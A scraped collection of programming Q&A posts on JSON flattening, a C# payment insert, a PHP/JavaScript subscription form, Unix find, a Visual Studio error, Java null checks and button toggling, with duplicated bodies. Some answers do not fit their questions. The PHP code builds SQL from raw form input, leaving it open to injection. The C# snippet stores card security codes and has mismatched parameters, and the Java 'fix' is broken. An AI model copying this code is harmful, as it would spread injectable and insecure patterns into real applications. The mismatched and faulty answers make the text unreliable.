        "name": "Dice",
        "price": 5
    },
    {
        "name": "Doll",
        "price": 10
    }
]

How can I accomplish this?

I have tried this:

for (var sets in data.products) {
  for (var categories in sets) {
    for (var items in categories) {
      for (var item in items) {
        // assemble new array
      }
    }
  }
}

... but had problems looping through the children objects. I've found a couple other similar questions, but they seem to address simpler data structures, and flatten the entire object rather than parts of it.

Any pointers would be appreciated.

Body:
input.data.products. ....

maube Change in row 1 depend on your variable name

var result =[]
input.data.products.forEach(function (product){
    product.forEach(function(productinfo){
      productinfo.items.forEach(function (item){

          result.push(item)

      })

    })

})


答:
I don't see where sc.Id is being assigned a value unlike the others(eg: sc.Name). Then inserting that(sc.Id) into the database will insert a null value. So when you query it from the database, converting it to an int32 value, returns '-1'.

That's what I think might be causing the problem along with the structure of your code.

Since your id is auto-generated, exclude the 'payment_ID' from your insert command. Example:

```<code>command.CommandText = "insert into Payment (payment_name, payment_ccNo,
                       payment_ccType, payment_ccCode, payment_expDate, payment_price,
                       payment_optionPay, payment_date, reg_id)
                values (@payment_name, @payment_ccNo, @payment_ccType, @payment_ccCode,
                        @payment_expDate, @payment_price, @payment_optionPay,
                        @payment_date, @reg_id)";

command.Parameters.AddWithValue("@payment_ccNo", sc.CreditCard);
command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
command.Parameters.AddWithValue("@payment_ccCode", sc.SecurityCode);
command.Parameters.AddWithValue("@payment_expDate", sc.CCExpiryDate);
command.Parameters.AddWithValue("@payment_price", sc.TotalAmount);
command.Parameters.AddWithValue("@payment_optionPay", sc.OptionPay);
command.Parameters.AddWithValue("@reg_id", sc.Registration.RegId);
</code>```

As an identity column, 'payment_ID' doesn't expect a value so exclude it from your insert statement. That way, you won't need to turn IDENTITY INSERT on. So you'll remove those statements too from your code.

Title: How to add foreign key in SQL Server in ASP.NET C#

Body:
I don't see where sc.Id is being assigned a value unlike the others(eg: sc.Name). Then inserting that(sc.Id) into the database will insert a null value. So when you query it from the database, converting it to an int32 value, returns '-1'.

That's what I think might be causing the problem along with the structure of your code.

Since your id is auto-generated, exclude the 'payment_ID' from your insert command. Example:

command.CommandText = "insert into Payment (payment_name, payment_ccNo,
                       payment_ccType, payment_ccCode, payment_expDate, payment_price,
                       payment_optionPay, payment_date, reg_id)
                values (@payment_name, @payment_ccNo, @payment_ccType, @payment_ccCode,
                        @payment_expDate, @payment_price, @payment_optionPay,
                        @payment_date, @reg_id)";

command.Parameters.AddWithValue("@payment_ccNo", sc.CreditCard);
command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
command.Parameters.AddWithValue("@payment_ccCode", sc.SecurityCode);
command.Parameters.AddWithValue("@payment_expDate", sc.CCExpiryDate);
command.Parameters.AddWithValue("@payment_price", sc.TotalAmount);
command.Parameters.AddWithValue("@payment_optionPay", sc.OptionPay);
command.Parameters.AddWithValue("@reg_id", sc.Registration.RegId);

As an identity column, 'payment_ID' doesn't expect a value so exclude it from your insert statement. That way, you won't need to turn IDENTITY INSERT on. So you'll remove those statements too from your code.


问:
Send Form Data to mySQL Database After JavaScript Validation via PHP
I have an html form used as a subscription form. The form is sent via POST method to PHP file for processing and database entry. Form validation is done via JavaScript.

I don't want to redirect to the PHP file and I want to keep my form styling. That is, when the user clicks on the SUBMIT button the form animates and displays a Success message on-page without reloading or sending to the php file.

I have tested the PHP file alone and it works fine, writing as expected in mySQL database table.
The JavaScript validation file also works great on its own. The problem is that when the Submit button is clicked, after all required fields are valid, the form animates as if data is sent successfully, but no data gets written into my database. I tried inserting AJAX in different formats at different place in the JavaScript code but nothing worked.

The JS Validation file is linked to via  in the HTML file. And the PHP file is linked to via the Form Action="" attribute.

When I use the following script in the HTML alongside the link to form.js :

```<code> <script type="text/javascript">
$("#submitBtn").click(function() {
    var dataString = $('#register').serialize();
    $.ajax({
                    type: "POST",
                    url: "contact/validate.php",
                    data: dataString
            });

});
</script>
</code>```

It actually works - the form animates as intended, there is no redirect to the PHP file and form data gets written into the database, but this makes dublicate entries and also allows non-valid entries to be written into the database, despite the JavaScript-initiated error messages on the input fields.

Here is my HTML Form:

```<code> <div id="contactForm" class="contactForm">
<div id="formHeader" class="formHeader">
    <h2 id="message">Форма за регистрация</h2>
</div>
<div id="formBody" class="formBody">
    <form action="contact/validate.php" method="POST" name="contactForm"   id="register">
        <div class="row">
        <div class="inputContainer hlf">
            <input name="fullname" id="fullname" type="text" placeholder="Вашето име" minlength="2" maxlength="40" required tabindex="1">
        </div>
        <div class="inputContainer hlf">
            <input name="location" id="location" type="text" placeholder="Населено място" minlength="5" maxlength="40" required tabindex="2">
        </div>
        </div>
        <div class="row">
        <div class="inputContainer hlf">
            <input name="email" id="email" type="email" placeholder="Ваш имейл за контакт" maxlength="75" required tabindex="3">
        </div>
            <div class="inputContainer hlf">
            <input name="phone" id="phone" type="tel" placeholder="Телефон" pattern="[0-9 ]" maxlength="15" tabindex="4">
        </div>
        </div>
        <div class="row">
        <div class="inputContainer">
            <textarea name="comment" id="comment" rows="4" placeholder="Допълнителен коментар" minlength="5" maxlength="250" tabindex="5"></textarea>
        </div></div>
        <input id="submitBtn" class="submitBtn" type="submit" value="Изпрати">
    </form>
</div>
</code>```

Here is my PHP File:

```<code><?php
//Clean form data from backslashes and evil tags
//define variables and set to empty values
$fullname = $location = $email = $phone = $comment = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$fullname = test_input($_POST["fullname"]);
$location = test_input($_POST["location"]);
$email = test_input($_POST["email"]);
$phone = test_input($_POST["phone"]);
$comment = test_input($_POST["comment"]);
}

function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}

//All input is tested and validated, now connect to DB and send data to the    mySQL database table:

$servername = "localhost";
$username = "usename";
$password = "password";
$dbname = "database name";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$sql = "INSERT INTO subscribed (fullname, location, email, phone, comment)
VALUES ('$fullname', '$location', '$email', '$phone', '$comment')";

if ($conn->query($sql) === TRUE) {
echo "New record created successfully";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}

$conn->close();
</code>```

Finally, here is my JavaScript validation file:

```<code>$(function() {
"use strict";
var //GLOBAL VARIABLES
input,
        container,
        //CSS CLASSES
        classSuccess = "success",
        classError = "error",
        //FORM VALIDATOR
        formValidator = {
            init: function() {
                this.cacheDom();
                this.bindEvents();
            },
            cacheDom: function() {
                //MAIN PARENT ELEMENT
                this.contactForm = document.getElementById("contactForm");
                //MAIN FORM ELEMENTS
                this.formHeader = document.querySelector("#formHeader h2");
                this.formBody = document.getElementById("formBody");
                this.inputContainer = document.getElementsByClassName("inputContainer");
                //USER INPUT ELEMENTS
                //INPUT FIELDS
                this.fields = {
                    fullname: document.getElementById("fullname"),
                    location: document.getElementById("location"),
                    email: document.getElementById("email")
                };
                this.submitBtn = document.getElementById("submitBtn");
            },
            bindEvents: function() {
                var i;
                //RUN RULES ON SUBMIT BUTTON CLICK
                this.submitBtn.onclick = this.runRules.bind(this);
                //BIND EVENTS TO EACH INPUT FIELD
                for (i in this.fields) {
                    if (this.fields.hasOwnProperty(i)) {
                        //VARIABLES
                        input = this.fields[i];
                        container = input.parentElement;
                        //RUN RULES WHEN INPUT HAS FOCUS
                        input.onfocus = this.runRules.bind(this);
                        //RESET ERRORS WHEN CONTAINER IS CLICKED
                        container.onclick = this.resetErrors.bind(this, input);
                    }
                }
            },
            runRules: function(evnt) {
                var target = evnt.target,
                        type = evnt.type;
                //IF EVENT ON SUBMIT BUTTON
                if (target === this.submitBtn) {
                    //PREVENT FORM SUBMITTION
                    this.preventDefault(evnt);
                    //IF INPUT HAS FOCUS
                } else if (type === "focus") {
                    //RESET CLASSLIST
                    this.resetClassList(target.parentElement);
                    //RESET ERRORS
                    this.resetErrors(target);
                    return false;
                }
                //RESET CLASSLIST
                this.resetClassList();
                //CHECK FIELDS
                this.checkFields();
            },
            preventDefault: function(evnt) {
                //PREVENT DEFUALT
                evnt.preventDefault();
            },
            checkFields: function() {
                var i,
                        validCount = 0,
                        //EMAIL FILTER
                        filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
                //CYLCE THROUGH INPUTS
                for (i in this.fields) {
                    if (this.fields.hasOwnProperty(i)) {
                        input = this.fields[i];
                        //CHECK IF FIELD IS EMPTY
                        if (input.value === "") {
                            //ADD ERROR CLASS
                            this.addClass(input, classError);
                            //CHECK IF EMAIL IS VALID
                        } else if (i === "email" && !filter.test(input.value)) {
                            //ADD ERROR CLASS
                            this.addClass(input, classError);
                        } else {
                            //FIELD IS VALID
                            this.addClass(input, classSuccess);
                            validCount += 1;
                        }
                    }
                }
                //IF ALL FIELDS ARE VALID
                if (validCount === 3) {
                    //SUBMIT FORM
                    this.submitForm();
                }
            },
            addClass: function(input, clss) {
                container = input.parentElement;
                //IF INPUT HAS ERROR
                if (clss === classError) {
                    //SHOW ERROR MESSAGE
                    this.errorMessage(input);
                }
                //ADD CLASS
                input.parentElement.classList.add(clss);
            },
            errorMessage: function(input) {
                var message;
                //IF NAME HAS ERROR
                if (input === this.fields.fullname) {
                    message = "Моля, въведете пълно име";
                    //ELSE IF LOCATION HAS ERROR
                } else if (input === this.fields.location) {
                    message = "Моля, въведете град/село";
                    //ELSE IF USEREMAIL HAS ERROR
                } else if (input === this.fields.email) {
                    message = "Има грешка в имейла";
                }
                this.renderError(input, message);
            },
            renderError: function(input, message) {
                var html;
                //GET INPUT CONTAINER
                container = input.parentElement;
                //RENDER HTML
                html = document.createElement("div");
                html.setAttribute("class", "message");
                html.innerHTML = message;
                //IF MESSAGE ELEMENT DOESN'T EXIST
                if (!container.getElementsByClassName("message")[0]) {
                    //INSERT MESSAGE TO INPUT CONTAINER
                    container.insertBefore(html, container.firstElementChild);
                }
            },
            resetClassList: function(input) {
                var i;
                //IF TARGETING SPECIFIC INPUT
                if (input) {
                    //GET INPUT CONTAINER
                    container = input.parentElement;
                    //REMOVE CLASSES
                    container.classList.remove(classError, classSuccess);
                    //FOCUS ON INPUT FIELD
                    input.focus();
                } else {
                    for (i in this.fields) {
                        if (this.fields.hasOwnProperty(i)) {
                            //REMOVE CLASSES FROM ALL FIELDS
                            this.fields[i].parentElement.classList.remove(classError, classSuccess);
                        }
                    }
                }
            },
            resetErrors: function(input) {
                //GET INPUT CONTAINER
                container = input.parentElement;
                //IF CONTAINER CONTAINS ERROR
                if (container.classList.contains(classError)) {
                    //RESET CLASSES
                    this.resetClassList(input);
                }
            },
            submitForm: function() {
                var waitForAnimation;
                //ADD SUCCESS CLASS
                this.contactForm.classList.add(classSuccess);
                //WAIT FOR ANIMATION TO FINISH
                this.changeHeader("Регистрацията е успешна!");
                //WAIT FOR ANIMATION TO FINISH
                setTimeout(this.changeHeader.bind(this, "ДОБРЕ ДОШЛИ!"), 1800);
            },
            changeHeader: function(text) {
                //CHANGE HEADER TEXT
                this.formHeader.innerHTML = text;
            }
        };
//INITIATE FORM VALIDATOR
formValidator.init();
}());
</code>```

答:
```<code><!DOCTYPE html>
<html>
<head>
    <title>Task 1</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
    </script>
    <script type="text/javascript">
        $(document).ready(function()
        {
            $("#submit").click(function()
            {
                if($("#fname").val()=="")
                {
                    alert("First name missing");
                    return false;
                }
                if($("#lname").val()=="")
                {
                    alert("Last name missing");
                    return false;
                }
                var x= jQuery("input[name=gender]:checked").val();
                if(!x)
                {
                    alert("Gender missing");
                    return false;
                }
                var x= jQuery("input[type=checkbox]:checked").val();
                if (!x)
                {
                    alert("Hobbies not selected");
                    return false;
                }
                if($("#education").val()=="")
                {
                    alert("Select Education");
                    return false;
                }
                else
                {
                    return true;
                }
            });
        });
    </script>
</head>
<body>
<form action="insert.php" method="POST" name="myform">
    <table border="2" cellspacing="5" cellpadding="5" align="center">
        <tr>
            <td>
                Enter first name:
            </td>
            <td>
                <input type="text" name="fname" id="fname">
            </td>
        </tr>
        <tr>
            <td>
                Enter last name:
            </td>
            <td>
                <input type="text" name="lname" id="lname">
            </td>
        </tr>
        <tr>
            <td>
                Select gender:
            </td>
            <td>
                <input type="radio" name="gender" value="male" id="gender">Male
                <input type="radio" name="gender" value="female">Female
            </td>
        </tr>
        <tr>
            <td>
                Select hobbies:
            </td>
            <td>
                <input type="checkbox" name="hobbies[]" value="cricket" id="hobby">Cricket
                <input type="checkbox" name="hobbies[]" value="hockey">Hockey
                <input type="checkbox" name="hobbies[]" value="swimming">Swimming
            </td>
        </tr>
        <tr>
            <td>
                Select education:
            </td>
            <td>
                <select name="education" id="education">
                    <option value="">Select...</option>
                    <option value="MCA">MCA</option>
                    <option value="BCA">BCA</option>
                    <option value="BE">BE</option>
                </select>
            </td>
        </tr>
        <tr align="center">
            <td colspan="2">
                <input type="submit" name="submit" value="Submit" id="submit">
            </td>
        </tr>
    </table>
    </form>
</body>
</html>
</code>```

Body:
I have an html form used as a subscription form. The form is sent via POST method to PHP file for processing and database entry. Form validation is done via JavaScript.

I don't want to redirect to the PHP file and I want to keep my form styling. That is, when the user clicks on the SUBMIT button the form animates and displays a Success message on-page without reloading or sending to the php file.

I have tested the PHP file alone and it works fine, writing as expected in mySQL database table.
The JavaScript validation file also works great on its own. The problem is that when the Submit button is clicked, after all required fields are valid, the form animates as if data is sent successfully, but no data gets written into my database. I tried inserting AJAX in different formats at different place in the JavaScript code but nothing worked.

The JS Validation file is linked to via  in the HTML file. And the PHP file is linked to via the Form Action="" attribute.

When I use the following script in the HTML alongside the link to form.js :

It actually works - the form animates as intended, there is no redirect to the PHP file and form data gets written into the database, but this makes dublicate entries and also allows non-valid entries to be written into the database, despite the JavaScript-initiated error messages on the input fields.

Here is my HTML Form:

Форма за регистрация

    <form action="contact/validate.php" method="POST" name="contactForm"   id="register">

            <input name="fullname" id="fullname" type="text" placeholder="Вашето име" minlength="2" maxlength="40" required tabindex="1">

            <input name="location" id="location" type="text" placeholder="Населено място" minlength="5" maxlength="40" required tabindex="2">

            <input name="email" id="email" type="email" placeholder="Ваш имейл за контакт" maxlength="75" required tabindex="3">

            <input name="phone" id="phone" type="tel" placeholder="Телефон" pattern="[0-9 ]" maxlength="15" tabindex="4">

            <textarea name="comment" id="comment" rows="4" placeholder="Допълнителен коментар" minlength="5" maxlength="250" tabindex="5"></textarea>

        <input id="submitBtn" class="submitBtn" type="submit" value="Изпрати">
    </form>

Here is my PHP File:

<?php
//Clean form data from backslashes and evil tags
//define variables and set to empty values
$fullname = $location = $email = $phone = $comment = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$fullname = test_input($_POST["fullname"]);
$location = test_input($_POST["location"]);
$email = test_input($_POST["email"]);
$phone = test_input($_POST["phone"]);
$comment = test_input($_POST["comment"]);
}

function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}

//All input is tested and validated, now connect to DB and send data to the    mySQL database table:

$servername = "localhost";
$username = "usename";
$password = "password";
$dbname = "database name";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$sql = "INSERT INTO subscribed (fullname, location, email, phone, comment)
VALUES ('$fullname', '$location', '$email', '$phone', '$comment')";

if ($conn->query($sql) === TRUE) {
echo "New record created successfully";
} else {
echo "Error: " . $sql . "
" . $conn->error;
}

$conn->close();

Finally, here is my JavaScript validation file:

$(function() {
"use strict";
var //GLOBAL VARIABLES
input,
        container,
        //CSS CLASSES
        classSuccess = "success",
        classError = "error",
        //FORM VALIDATOR
        formValidator = {
            init: function() {
                this.cacheDom();
                this.bindEvents();
            },
            cacheDom: function() {
                //MAIN PARENT ELEMENT
                this.contactForm = document.getElementById("contactForm");
                //MAIN FORM ELEMENTS
                this.formHeader = document.querySelector("#formHeader h2");
                this.formBody = document.getElementById("formBody");
                this.inputContainer = document.getElementsByClassName("inputContainer");
                //USER INPUT ELEMENTS
                //INPUT FIELDS
                this.fields = {
                    fullname: document.getElementById("fullname"),
                    location: document.getElementById("location"),
                    email: document.getElementById("email")
                };
                this.submitBtn = document.getElementById("submitBtn");
            },
            bindEvents: function() {
                var i;
                //RUN RULES ON SUBMIT BUTTON CLICK
                this.submitBtn.onclick = this.runRules.bind(this);
                //BIND EVENTS TO EACH INPUT FIELD
                for (i in this.fields) {
                    if (this.fields.hasOwnProperty(i)) {
                        //VARIABLES
                        input = this.fields[i];
                        container = input.parentElement;
                        //RUN RULES WHEN INPUT HAS FOCUS
                        input.onfocus = this.runRules.bind(this);
                        //RESET ERRORS WHEN CONTAINER IS CLICKED
                        container.onclick = this.resetErrors.bind(this, input);
                    }
                }
            },
            runRules: function(evnt) {
                var target = evnt.target,
                        type = evnt.type;
                //IF EVENT ON SUBMIT BUTTON
                if (target === this.submitBtn) {
                    //PREVENT FORM SUBMITTION
                    this.preventDefault(evnt);
                    //IF INPUT HAS FOCUS
                } else if (type === "focus") {
                    //RESET CLASSLIST
                    this.resetClassList(target.parentElement);
                    //RESET ERRORS
                    this.resetErrors(target);
                    return false;
                }
                //RESET CLASSLIST
                this.resetClassList();
                //CHECK FIELDS
                this.checkFields();
            },
            preventDefault: function(evnt) {
                //PREVENT DEFUALT
                evnt.preventDefault();
            },
            checkFields: function() {
                var i,
                        validCount = 0,
                        //EMAIL FILTER
                        filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
                //CYLCE THROUGH INPUTS
                for (i in this.fields) {
                    if (this.fields.hasOwnProperty(i)) {
                        input = this.fields[i];
                        //CHECK IF FIELD IS EMPTY
                        if (input.value === "") {
                            //ADD ERROR CLASS
                            this.addClass(input, classError);
                            //CHECK IF EMAIL IS VALID
                        } else if (i === "email" && !filter.test(input.value)) {
                            //ADD ERROR CLASS
                            this.addClass(input, classError);
                        } else {
                            //FIELD IS VALID
                            this.addClass(input, classSuccess);
                            validCount += 1;
                        }
                    }
                }
                //IF ALL FIELDS ARE VALID
                if (validCount === 3) {
                    //SUBMIT FORM
                    this.submitForm();
                }
            },
            addClass: function(input, clss) {
                container = input.parentElement;
                //IF INPUT HAS ERROR
                if (clss === classError) {
                    //SHOW ERROR MESSAGE
                    this.errorMessage(input);
                }
                //ADD CLASS
                input.parentElement.classList.add(clss);
            },
            errorMessage: function(input) {
                var message;
                //IF NAME HAS ERROR
                if (input === this.fields.fullname) {
                    message = "Моля, въведете пълно име";
                    //ELSE IF LOCATION HAS ERROR
                } else if (input === this.fields.location) {
                    message = "Моля, въведете град/село";
                    //ELSE IF USEREMAIL HAS ERROR
                } else if (input === this.fields.email) {
                    message = "Има грешка в имейла";
                }
                this.renderError(input, message);
            },
            renderError: function(input, message) {
                var html;
                //GET INPUT CONTAINER
                container = input.parentElement;
                //RENDER HTML
                html = document.createElement("div");
                html.setAttribute("class", "message");
                html.innerHTML = message;
                //IF MESSAGE ELEMENT DOESN'T EXIST
                if (!container.getElementsByClassName("message")[0]) {
                    //INSERT MESSAGE TO INPUT CONTAINER
                    container.insertBefore(html, container.firstElementChild);
                }
            },
            resetClassList: function(input) {
                var i;
                //IF TARGETING SPECIFIC INPUT
                if (input) {
                    //GET INPUT CONTAINER
                    container = input.parentElement;
                    //REMOVE CLASSES
                    container.classList.remove(classError, classSuccess);
                    //FOCUS ON INPUT FIELD
                    input.focus();
                } else {
                    for (i in this.fields) {
                        if (this.fields.hasOwnProperty(i)) {
                            //REMOVE CLASSES FROM ALL FIELDS
                            this.fields[i].parentElement.classList.remove(classError, classSuccess);
                        }
                    }
                }
            },
            resetErrors: function(input) {
                //GET INPUT CONTAINER
                container = input.parentElement;
                //IF CONTAINER CONTAINS ERROR
                if (container.classList.contains(classError)) {
                    //RESET CLASSES
                    this.resetClassList(input);
                }
            },
            submitForm: function() {
                var waitForAnimation;
                //ADD SUCCESS CLASS
                this.contactForm.classList.add(classSuccess);
                //WAIT FOR ANIMATION TO FINISH
                this.changeHeader("Регистрацията е успешна!");
                //WAIT FOR ANIMATION TO FINISH
                setTimeout(this.changeHeader.bind(this, "ДОБРЕ ДОШЛИ!"), 1800);
            },
            changeHeader: function(text) {
                //CHANGE HEADER TEXT
                this.formHeader.innerHTML = text;
            }
        };
//INITIATE FORM VALIDATOR
formValidator.init();
}());


问:
Unix Find files for specific time duration
I have a case where I want to dynamically find files for past 24hrs but not from current timestamp. To explain with eg:
Suppose current time is 10.00AM then I want to list the files from 6AM current day to 6AM prev day ie go back 4hrs from current time and then look for 24hrs.
I am looking this for unix system</p>

答:
find supports logic operators. You can use those to search for a range. Also, find, by default, searches in 24 hours granularity, but it does have the -newer option which is more precise.

My solution is as follows:

Create a file with the timestamp of the latest point in the range

Create a file with the timestamp of the earliest point in the range

Search for files newer than the second file, but not newer than the first one.

In bourne shell:

```<code>END=`date -d 6:00 +%s` # Get time of 6:00am in seconds since epoch
touch late -d "@$END"
START=$(($END-60*60*24)) # Subtract 24 hours
touch early -d "@$START"
find / -newer early -a -not -newer late
</code>```

Body:
find supports logic operators. You can use those to search for a range. Also, find, by default, searches in 24 hours granularity, but it does have the -newer option which is more precise.

My solution is as follows:

Create a file with the timestamp of the latest point in the range

Create a file with the timestamp of the earliest point in the range

Search for files newer than the second file, but not newer than the first one.

In bourne shell:

END=`date -d 6:00 +%s` # Get time of 6:00am in seconds since epoch
touch late -d "@$END"
START=$(($END-60*60*24)) # Subtract 24 hours
touch early -d "@$START"
find / -newer early -a -not -newer late


问:
Visual Studio 2017: A fatal error has occurred and debugging needs to be terminated
When executing unit tests in debugging mode, I get the following error message: </p>

```<code>A fatal error has occurred and debugging needs to be terminated. For more
details please see the Microsoft Help and Support web site.
HRESULT=0x8000ffff. ErrorCode=0x0.
</code>```

答:
So my steps to fix the issue,

1- [Preventive action]
   Update the Visual studio 2017 , from the yellow flag notification or from

```<code>Tools >> Extensions & Updates >> Updates >> visual studio marketplace.
</code>```

2- Search in your test solution for launchsettings.json file and remove it.

3- Clean the test solution .

4- Rebuild the project .

5- Make a cup of coffee ;).

Body:
When executing unit tests in debugging mode, I get the following error message:

A fatal error has occurred and debugging needs to be terminated. For more
details please see the Microsoft Help and Support web site.
HRESULT=0x8000ffff. ErrorCode=0x0.

Body:
So my steps to fix the issue,

1- [Preventive action]
   Update the Visual studio 2017 , from the yellow flag notification or from

Tools >> Extensions & Updates >> Updates >> visual studio marketplace.

2- Search in your test solution for launchsettings.json file and remove it.

3- Clean the test solution .

4- Rebuild the project .

5- Make a cup of coffee ;).


问:
How to check for null within a concatenated String declaration? (JAVA)
How could I check for null within a concatenated String declaration?
For example I have :

String txt = "Employee Account Name" + employeeObject.accountObject.name + " : ";

I could only check for null by using:

```<code>String accountName = employeeObject.accountObject != null ? employeeObject.accountObject.name : " is null";
</code>```

Could this be done within the declaration for variable txt only. I'm looking for an alternative as my null check can cover many objects which results in many one time use variables.

答:
as much as I could understand your problem, you can do as below:

```<code>String txt = "Employee Account Name " + (employeeObject.accountObject != null)? employeeObject.accountObject.name : (" is null" + " : ");
</code>```

description: any time and any where you use an inline condition the result would be returned to the first variable it can be placed. e.g.:
(imagine there is a class with an attribute which shows its object mode.)

```<code> class LifeMode{
      boolean mode;
 }
 public static void main(String[] args) {
      LifeMode obj = new LifeMode();
      obj.mode = true;
      System.out.println("life is: " + (obj.mode? "OK": "Not Interesting") + " at this time");
 }
</code>```

or the main method can be like this:

```<code>public static void main(String[] args) {
      LifeMode obj = new LifeMode();
      obj.mode = true;
      String message = "life is: " + (obj.mode? "OK": "Not Interesting") + " at this time";
      System.out.println(message);
 }
</code>```

Body:
How could I check for null within a concatenated String declaration?
For example I have :

String txt = "Employee Account Name" + employeeObject.accountObject.name + " : ";

I could only check for null by using:

String accountName = employeeObject.accountObject != null ? employeeObject.accountObject.name : " is null";

Could this be done within the declaration for variable txt only. I'm looking for an alternative as my null check can cover many objects which results in many one time use variables.

Body:
as much as I could understand your problem, you can do as below:

String txt = "Employee Account Name " + (employeeObject.accountObject != null)? employeeObject.accountObject.name : (" is null" + " : ");

description: any time and any where you use an inline condition the result would be returned to the first variable it can be placed. e.g.:
(imagine there is a class with an attribute which shows its object mode.)

 class LifeMode{
      boolean mode;
 }
 public static void main(String[] args) {
      LifeMode obj = new LifeMode();
      obj.mode = true;
      System.out.println("life is: " + (obj.mode? "OK": "Not Interesting") + " at this time");
 }

or the main method can be like this:

public static void main(String[] args) {
      LifeMode obj = new LifeMode();
      obj.mode = true;
      String message = "life is: " + (obj.mode? "OK": "Not Interesting") + " at this time";
      System.out.println(message);
 }


问:
Change multiple button text when onclick
I have attempted to toggle the button text once it's onclick here. I have use different ID for another button but it doesn't seem to work.
How do I use the same function for multiple buttons?

  function buttonToggle() {
                var change = document.getElementById("btnAdd");
                if (change.innerHTML == "ADD")
                {
                    change.innerHTML = "ADDED"
                }
                else {
                    change.innerHTML = "ADD"
                }
            }```
<pre class="snippet-code-html lang-html prettyprint-override"><code>  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" type="text/css" href="../../css/register-dev.css">
    <link rel="stylesheet" href="../../css/activity-registration.css">

       <!-- jQuery first, then Tether, then Bootstrap JS. -->
    <script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="sha384-A7FZj7v+d/sdmMqp/nOQwliLvUsJfDHW+k9Omg/a/EheAdgtzNs3hpfag6Ed950n" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js" integrity="sha384-DztdAPBWPRXSA/3eYEEUWrWCy7G5KFbe8fFjk5JAIxUYHKkDx6Qin1DkWx51bBrb" crossorigin="anonymous"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

  <div class="col">
      <button type="button" class="btn btn-primary btn-lg" id="btnAdd" onclick="buttonToggle()">
     <span><i class="fa fa-plus" aria-hidden="true"></i> <b>ADD</b></span>
       </button>
        </div>

<br>
<br>

<div class="col">
   <button type="button" class="btn btn-primary btn-lg" id="btnAdd3" onclick="buttonToggle()">
       <span><i class="fa fa-plus" aria-hidden="true"></i></span> <b>ADD</b>
    </button>
       </div></code>```

答:
It's not good to check for string. What if the text changes to "add" or "Add" or "ADD". Hence, I always recommend to use class and therefore addClass, removeClass and hasClass. Check the below snippet:

$("button").on("click", function() {
  if ($(this).find("b").hasClass('active')) {
    $(this).find("b").text("ADD").removeClass('active');
  } else {
    $(this).find("b").text("ADDED").addClass('active');
  }
});```
<pre class="snippet-code-html lang-html prettyprint-override"><code><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<!-- jQuery first, then Tether, then Bootstrap JS. -->
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="sha384-A7FZj7v+d/sdmMqp/nOQwliLvUsJfDHW+k9Omg/a/EheAdgtzNs3hpfag6Ed950n" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js" integrity="sha384-DztdAPBWPRXSA/3eYEEUWrWCy7G5KFbe8fFjk5JAIxUYHKkDx6Qin1DkWx51bBrb" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

<div class="col">
  <button type="button" class="btn btn-primary btn-lg" id="btnAdd">
     <span><i class="fa fa-plus" aria-hidden="true"></i> <b>ADD</b></span>
       </button>
</div>

<br>
<br>

<div class="col">
  <button type="button" class="btn btn-primary btn-lg" id="btnAdd3">
       <span><i class="fa fa-plus" aria-hidden="true"></i></span> <b>ADD</b>
    </button>
</div></code>```

Body:
I have attempted to toggle the button text once it's onclick here. I have use different ID for another button but it doesn't seem to work.
How do I use the same function for multiple buttons?

  function buttonToggle() {
                var change = document.getElementById("btnAdd");
                if (change.innerHTML == "ADD")
                {
                    change.innerHTML = "ADDED"
                }
                else {
                    change.innerHTML = "ADD"
                }
            }

